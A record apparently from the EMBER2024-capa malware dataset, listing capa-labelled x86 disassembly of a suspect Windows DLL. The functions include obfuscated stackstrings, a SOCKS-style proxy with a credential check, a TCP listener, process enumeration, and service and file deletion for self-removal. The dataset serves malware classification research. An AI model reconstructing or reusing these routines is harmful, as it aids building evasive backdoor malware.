joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x174
push ebx
push ebp
mov ebp, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.FindFirstFileA
push str.KERNEL32.dll
mov dword [esp + 0x48], eax
call esi
push eax
call edi
push str.FindClose
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x44], eax
call esi
push eax
call edi
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x38], eax
mov eax, ecx
sub eax, 2
je 0x10006780
sub eax, 2
je 0x10006779
sub eax, 2
je 0x10006772
mov esi, ecx
jmp 0x10006785
mov esi, 5
jmp 0x10006785
mov esi, 3
jmp 0x10006785
mov esi, 1
lea edx, [esp + 0x44]
lea edi, [ebp + 0x20]
push edx
push edi
call ebx
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x100067ee
cmp esi, 1
jne 0x100067c4
mov edx, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x10006803
cmp esi, 3
jne 0x100067da
xor edx, edx
mov esi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x10006803
cmp esi, 5
jne 0x100067ff
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x10006803
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x10006803
mov esi, dword [esp + 0x38]
push eax
call dword [esp + 0x40]
xor ebx, ebx
push ebx
push 0x80
push esi
push ebx
push 2
push 0x40000000
push edi
call dword [esp + 0x5c]
cmp eax, 0xffffffff
jne 0x1000683a
mov dword [ebp + 0x128], ebx
pop edi
mov dword [ebp + 0x12c], ebx
pop esi
pop ebp
pop ebx
add esp, 0x174
ret
push eax
call dword [esp + 0x3c]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, ebp
call fcn.1000b920
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x174
ret
Function at 0x10006860
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov ebp, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x40]
lea ecx, [esp + 0x4c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x54], 0x6b
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x72
mov byte [esp + 0x57], 0x6e
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], 0x6c
mov byte [esp + 0x5a], 0x33
mov byte [esp + 0x5b], 0x32
mov byte [esp + 0x5c], 0x2e
mov byte [esp + 0x5d], 0x64
mov byte [esp + 0x5e], 0x6c
mov byte [esp + 0x5f], 0x6c
mov byte [esp + 0x60], 0
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], 0x72
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], 0x74
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x46
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x50], 0x6c
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x41
mov byte [esp + 0x53], 0
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x34]
lea eax, [esp + 0x5c]
push edx
push eax
mov byte [esp + 0x64], 0x6b
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0x72
mov byte [esp + 0x67], 0x6e
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x6c
mov byte [esp + 0x6a], 0x33
mov byte [esp + 0x6b], 0x32
mov byte [esp + 0x6c], 0x2e
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6c
mov byte [esp + 0x6f], 0x6c
mov byte [esp + 0x70], 0
mov byte [esp + 0x3c], 0x57
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x46
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0
call esi
push eax
call edi
mov edi, dword [esp + 0x70]
push 0
push 0x80
push 3
mov ecx, dword [edi]
mov ebx, dword [edi + 4]
push 0
push 2
lea edx, [ebp + 0x20]
push 0x40000000
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], ecx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebx
push esi
call dword [esp + 0x28]
mov edx, dword [esp + 0x74]
lea ecx, [esp + 0x24]
push 0
add edx, 0xfffffff8
push ecx
add edi, 8
push edx
push edi
push esi
call dword [esp + 0x30]
push esi
call dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
add ecx, ebx
lea edx, [esp + 0x28]
mov dword [esp + 0x2d], ecx
push 9
push edx
mov ecx, ebp
mov byte [esp + 0x30], 0x70
mov dword [esp + 0x31], eax
call fcn.1000b920
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret 8
Function at 0x10007d60
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.WaitForSingleObject
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.LeaveCriticalSection
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.EnterCriticalSection
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov edx, eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10020570
mov dword [esp + 0x18], esi
stosb byte es:[edi], al
call edx
mov ecx, dword [0x10020890]
push 0x10020570
inc ecx
mov dword [0x10020890], ecx
call ebp
mov edi, dword [esp + 0x130]
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], esi
call fcn.10007c30
add esp, 8
cmp eax, esi
je 0x10007f49
mov ebp, dword [esp + 0x128]
cmp eax, 1
je 0x10007e93
cmp eax, 2
je 0x10007e93
cmp eax, 3
je 0x10007e93
cmp eax, 4
jne 0x10007f0c
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x138]
lea edx, [esp + 0x28]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10007ba0
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x34]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.10008440
add esp, 0x1c
test eax, eax
je 0x10007f49
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10007f0c
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x134]
mov ecx, dword [esp + 0x12c]
push eax
push esi
push edi
push ecx
call fcn.10007cd0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10007f49
lea edx, [esp + 0x14]
lea eax, [esp + 0x24]
push edx
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10007ba0
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x34]
lea esi, [ebp + 4]
push edx
push eax
push esi
call fcn.10008440
add esp, 0x1c
test eax, eax
je 0x10007f49
mov ecx, dword [esp + 0x12c]
mov edx, dword [esi]
push 0
push ebx
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007f49
cmp dword [ebp], 0
je 0x10007f49
mov eax, dword [ebp + 4]
test eax, eax
je 0x10007f49
lea eax, [esp + 0x20]
push eax
push 0
push ebp
push 0x10008fe0
push 0
push 0
call dword [esp + 0x30]
test eax, eax
je 0x10007f39
push 0xffffffffffffffff
push eax
call dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x114
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret
Function at 0x10007f60
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10007f90
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x10007faa
cmp al, 2
je 0x10007faa
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x10020590
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007fed
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x10008143
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008137
test eax, eax
je 0x10008137
cmp byte [ebp], 1
je 0x1000804d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10008076
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10008076
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x100080a5
cmp ecx, 0x100
jg 0x100080a5
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x10020590
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100080d2
test cl, cl
je 0x100080ce
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100080d2
add eax, 2
add esi, 2
test cl, cl
jne 0x100080ae
xor eax, eax
jmp 0x100080d7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008119
lea esi, [esp + 0x110]
mov eax, 0x10020690
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000810b
test cl, cl
je 0x10008107
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000810b
add eax, 2
add esi, 2
test cl, cl
jne 0x100080e7
xor eax, eax
jmp 0x10008110
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008119
mov byte [ebp + 1], al
jmp 0x1000811d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10008143
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10008160
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x100200b0
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x10008214
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x1000821c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000820a
test edx, edx
jle 0x100081d4
mov edi, 0x1001d784
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x100081a6
add dword [esp + 0x10], 4
jmp 0x1000818a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10008230
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10008240
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10008440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10008497
call fcn.10008230
add esp, 4
test eax, eax
je 0x100084f2
push esi
call fcn.10008230
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100084f2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100084fa
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x10008510
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10007f60
add esp, 0xc
test eax, eax
je 0x100085b7
cmp eax, 4
jne 0x10008558
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.10008250
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100085b7
test eax, eax
je 0x100085b7
cmp byte [esi], 5
jne 0x100085b7
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10008584
cmp cl, 3
jne 0x100085b7
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.10008250
add esp, 0x14
test eax, eax
je 0x100085b7
mov al, byte [esi + 1]
cmp al, 1
je 0x100085ae
cmp al, 3
jne 0x100085b7
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x100085c0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000860e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000862b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10008160
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10008a00
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1b0
lea eax, [esp + 0x20]
push esi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10008b35
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 8], esi
je 0x10008b35
mov dx, word [0x10020588]
xor ecx, ecx
mov dword [esp + 0xe], ecx
push edx
mov dword [esp + 0x16], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x1a], ecx
mov word [esp + 0x1e], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
lea eax, [esp + 0xc]
push 0x10
push eax
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10008b35
push ebx
push ebp
push edi
push 0x32
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10008aa4
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
add esp, 0x1b0
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CloseHandle
push str.KERNEL32.dll
call edi
push eax
call esi
push str.Sleep
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call esi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x30], eax
call edi
push eax
call esi
mov ecx, dword [esp + 0x14]
push 0
push 0
push ecx
mov ebx, eax
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov ebp, eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
test eax, eax
je 0x10008ab0
lea edx, [esp + 0x2c]
mov dword [eax], ebp
push edx
push 0
push eax
push 0x10008680
push 0
push 0
call ebx
test eax, eax
jne 0x10008b2b
push 0x3e8
call dword [esp + 0x2c]
jmp 0x10008ab0
push eax
call dword [esp + 0x14]
jmp 0x10008ab0
xor eax, eax
pop esi
add esp, 0x1b0
ret

Function at 0x10008d10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10008d4b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10008d52
sub esi, eax
add edi, eax
test esi, esi
jg 0x10008d26
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x10009c40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
push ebx
mov cl, 0x74
push ebp
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x24], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x1e], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x10]
mov dl, 0x72
mov bl, 0x79
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x30], 0x6d
mov byte [esp + 0x31], 0x44
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], dl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.DeleteFileA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
lea edx, [esp + 0x34]
push 0x104
push edx
mov esi, eax
call ebx
lea eax, [esp + 0x34]
push str._syslog.dat
push eax
call esi
lea ecx, [esp + 0x34]
push ecx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x10009d60
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x28
mov al, 0x6c
push ebx
mov byte [esp + 0x21], al
mov byte [esp + 0x26], al
mov byte [esp + 0x27], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x78
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.Sleep
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.OpenServiceA
push str.ADVAPI32.dll
mov ebp, eax
call esi
push eax
call edi
push str.DeleteService
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov edi, eax
call fcn.10009c40
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call ebp
push 0x30
mov ebp, eax
call esi
add esp, 4
push 0x10000
push 0x10020d44
push ebp
call ebx
push 0x30
mov ebx, eax
call esi
add esp, 4
push ebx
call dword [esp + 0x14]
push 0x30
call esi
add esp, 4
push ebx
call edi
push 0x30
call esi
add esp, 4
push ebp
call edi
push 1
push 0
push 3
call fcn.10011bd0
add esp, 0xc
push 0xa
call dword [esp + 0x18]
push 0
push 0
push 1
call fcn.10011bd0
add esp, 0xc
push 0
call dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x10009ef0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x138
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.Process32First
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.Process32Next
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.lstrcmpiA
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call ebx
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x28], 0x128
call esi
add esp, 8
lea eax, [esp + 0x20]
push eax
push edi
call ebp
push 0x30
call esi
mov ebx, dword [esp + 0x150]
mov ebp, dword [esp + 0x18]
add esp, 4
lea ecx, [esp + 0x44]
push ebx
push ecx
call ebp
test eax, eax
je 0x10009fd8
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x20]
push edx
push edi
call dword [esp + 0x24]
test eax, eax
je 0x10009fde
lea eax, [esp + 0x44]
push ebx
push eax
call ebp
test eax, eax
jne 0x10009fb7
mov ebx, dword [esp + 0x28]
jmp 0x10009fe2
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [esp + 0x1c]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x138
ret